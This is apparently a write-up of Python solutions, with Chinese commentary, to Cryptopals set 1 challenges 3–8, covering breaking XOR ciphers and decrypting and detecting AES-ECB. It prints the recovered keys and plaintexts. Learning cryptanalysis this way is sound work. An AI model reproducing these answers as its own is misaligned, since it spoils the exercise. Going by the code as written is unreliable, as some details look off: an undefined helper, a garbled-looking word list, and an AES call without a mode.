3. Single-byte XOR cipher

突发奇想,这里我用《动物森友会》给信件评分的算法来判断哪个结果最正确。(还真没毛病

def get_score(message: str) -> int:
    """*Animal Crossing* message scoring algorithm."""
    t = set("abl abo abr abs acc ach acr act add adm adv aer aff afr aft aga age ago ahe air ali all alm alo alr als alt alw am  ame amo and ang ani ano ans any apa app apr are arg arm arr art asi ask asl ate atm att aud aug aut ave avo awa cak cal cam can cap car cas cat cau cen cer cha che chi cho chi chu cir cit cla cle cli clo coa cof coi col com con coo cop cor cos cou cov cow cre cri cro cry cup cur cus cut bab bac bad bag bal ban bas bat be  bea bec bed bee bef beg beh bel bes bet bey bic big bik bil bir bit bla ble blo blu boa bod bon boo bor bot bou box boy bra bre bri bro bui bur bus but buy by  eac ear eas eat edu eff egg eig eit ele els emp end ene eng enj eno ent equ err esp eur eve exa exc exe exp eye dad dai dam dan dar dat dau day dea dec dee def deg del dem den dep des det dev dic did die dif dig din dir dis div do  doc doe dog dol don doo dou dow doz dra dre dri dro dru dry due dur dus dut gai gam gar gas gat gav gen ger get gir giv gla go  god goi gon goo got gov gra gre gro gua gue gui gun fac fai fal fam far fas fat fea feb fed fee fel few fie fif fig fil fin fir fis fiv fix fla fle fli flo fly fol foo for fou fra fre fri fro fru ful fun fut i   ice ide if  ima imm imp in  inc ind inf ins int inv iro is  isl it  its hab had hai hal han hap har has hat hav he  hea hei hel her hi  hid hig hil him hir his hit hol hom hon hop hor hos hot hou how hum hun hur hus kee kep key kic kil kin kit kne kni kno kab kad kai kak kan kar kas kat kau kaw kay kaz kea ked kef keg ken kes ket kev kib kie kif kig kik kim kin kis kit kiv koc kon koo kos kot kou kov kow kun kyi kac kad kag kai kaj kak kan kap kar kat kay ke  kea ked kee kem ken kes ket kid kig kil kin kis kod kom kon koo kor kos kot kou kov kuc kum kus ky  kys kam kar kat kea kec kee kei kev kew kex kic kig kin ko  kob koi kon koo kor kos kot kov kow kum kbj k'c kct kf  kff kft kh  kil kka kld kn  knc kne knl kpe kpi kpp kr  kra krd kth kur kut kve kwn jan jap job joi jud jul jum jun jus qua que qui pac pag pai pap par pas pat pay pea pen peo per pho pic pie pin pip pla ple poc poi pol poo pop pos pot pou pow pra pre pri pro pub pul pup pur pus put sad saf sai sal sam san sat sav saw say sce sch sci sco sea sec see sel sen sep ser set sev sex sha she shi sho shu sic sid sig sil sim sin sis sit six siz ski sky sle sli slo sma sme smi smo sno so  soa soc sof soi sol som son soo sor sou spa spe spi spo spr squ sta ste sti sto str stu sty sub suc sud suf sug sum sun sup sur swa swe swi swu sys rac rad rai ran rap rat rea rec red ref reg rel rem rep req res ret ric rid rig rin ris riv roa roc rod rol roo ros rou row rul run rus una unc und uni unl unt up  upo us  use usu tab tak tal tas tau tax tea tee tel tem ten ter tes tha the thi tho thr thu tic tie til tim tir tit to  tod tog tol tom ton too top tor tot tou tow tra tre tri tro tru try tue tur tv  twe twi two tyi typ val var veg ver vie vil vis voi vol vot vai vak val van var vas vat vav vay ve  vea ved vee vei vel ven ver ves vet vha vhe vhi vho vhy vid vif vil vin vir vis vit viv vok vom von voo vor vou vri vro vma yar yea yel yen yes yet you zer".split())
    s = 0
    if message and message[-1] in '.?!':
        s += 20
    for i, c in enumerate(message):
        if c in '.?!':
            for j in range(i+1, min(i+4, len(message))):
                if message[j].isupper():
                    s += 10
                    break
                elif message[j].isalpha():
                    s -= 10
                    break
    s += sum(3 for w in message.split() if len(cw :=
             ''.join(c for c in w if c.isalpha()).lower()) >= 3 and cw[:3] in t)
    for c in message:
        if not c.isspace():
            s += 20 if c.isupper() else -10
            break
    for i in range(len(message)-2):
        if message[i].isalpha() and message[i] == message[i+1] == message[i+2]:
            s -= 50
            break
    sp, nsp = message.count(' '), len(message) - message.count(' ')
    s += -20 if nsp == 0 or (sp * 100 // nsp if nsp else 0) < 20 else 20
    if len(message) > 75:
        c = 0
        for ch in message:
            c = 0 if ch in '.?!' else c + 1
            if c == 75:
                s -= 150
                break
    s -= sum(20 for i in range(0, len(message), 32)
             if ' ' not in message[i:i+32] and len(message[i:i+32]) == 32)
    return s


cipher = bytes.fromhex(
    '1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736')
results = list()
for c in range(256):
    try:
        res = bytesxor((chr(c) * len(cipher)).encode(), cipher).decode()
        results.append((res, get_score(res)))
    except UnicodeDecodeError:
        pass

best = sorted(results, key=lambda x: x[1])[-1][0]
print(best)

# Cooking MC's like a pound of bacon

4. Detect single-character XOR

with open('4.txt', 'r') as file:
    ciphers = file.readlines()

for original_cipher in ciphers:
    results = list()
    cipher = bytes.fromhex(original_cipher)
    for c in range(256):
        try:
            res = bytesxor((chr(c) * len(cipher)).encode(), cipher).decode()
            results.append((res, get_score(res)))
        except UnicodeDecodeError:
            pass
    if len(results) == 0:
        continue

    best = sorted(results, key=lambda x: x[1])[-1]
    if best[1] > 40:
        print(f'{original_cipher.strip()} -> {best[0]}')

# 7b5a4215415d544115415d5015455447414c155c46155f4058455c5b523f -> Now that the party is jumping

5. Implement repeating-key XOR

def repeating_key_xor_to_hex(msg: bytes, key: bytes) -> str:
    result_chars = []
    keylen = len(key)
    for i, b in enumerate(msg):
        result_chars.append(b ^ key[i % keylen])
    return bytes(result_chars).hex()

print(repeating_key_xor_to_hex(b"Burning 'em, if you ain't quick and nimble", b'ICE'))
print(repeating_key_xor_to_hex(b'I go crazy when I hear a cymbal', b'ICE'))

6. Break repeating-key XOR

一开始没有还原正确,检查了一下发现是 # 扰乱了解密评分。考虑到英文句子里极少有 #,所以遇到就扣 5 分。

from base64 import b64decode


def get_score(message: str):
    score = 0
    for c in message:
        if c.islower():
            score += 3
        if c.isupper():
            score += 1
        if c == ' ':
            score += 1
        if c == '#':
            score -= 5
    return score


def get_key(cipher: bytes) -> int:
    results = list()
    for c in range(256):
        try:
            res = bytesxor((chr(c) * len(cipher)).encode(), cipher).decode()
            results.append((c, get_score(res)))
        except UnicodeDecodeError:
            pass
    return sorted(results, key=lambda x: x[1])[-1][0]


def repeating_key_xor(msg: bytes, key: bytes) -> bytes:
    result_chars = []
    keylen = len(key)
    for i, b in enumerate(msg):
        result_chars.append(b ^ key[i % keylen])
    return bytes(result_chars)


def normalized_average_hd(data: bytes, unit_len: int) -> float:
    chunks = [data[i:i + unit_len] for i in range(0, len(data), unit_len)]
    num_chunks = len(chunks)
    total_hd = 0
    count = 0
    for i in range(num_chunks):
        for j in range(i + 1, num_chunks):
            if len(chunks[i]) == unit_len and len(chunks[j]) == unit_len:
                total_hd += sum((byte1 ^ byte2).bit_count()
                                for byte1, byte2 in zip(chunks[i], chunks[j]))
                count += 1
    return total_hd / (count * unit_len)


with open('6.txt', 'r') as file:
    cipher = b64decode(file.read())

results = list()
for l in range(2, 41):
    norm_hd = normalized_average_hd(cipher, l)
    results.append((l, norm_hd))
keylens = sorted(results, key=lambda x: x[1])

for k in range(1):
    keylen = keylens[k][0]
    print(f"Guessed key length: {keylen}")

    key_bytes = []
    for i in range(keylen):
        block = bytes([cipher[j * keylen + i]
                      for j in range(len(cipher) // keylen)])
        key_bytes.append(get_key(block))

    key = bytes(key_bytes)
    # print(repeating_key_xor(cipher, key).decode())
    print(f'Key: {key}')

# Guessed key length: 29
# Key: b'Terminator X: Bring the noise'

7. AES in ECB mode

import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms

key = b"YELLOW SUBMARINE"
with open('7.txt', 'r') as f:
    encrypted_b64 = f.read()
encrypted_data = base64.b64decode(encrypted_b64)
cipher = Cipher(algorithms.AES(key)) # Default to ECB mode
decryptor = cipher.decryptor()
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()

print(decrypted_data.decode())

8. Detect AES in ECB mode

print(max(open('8.txt').read().splitlines(), key=lambda x: len(c:=[x[i:i+32] for i in range(0, len(x), 32)]) - len(set(c))))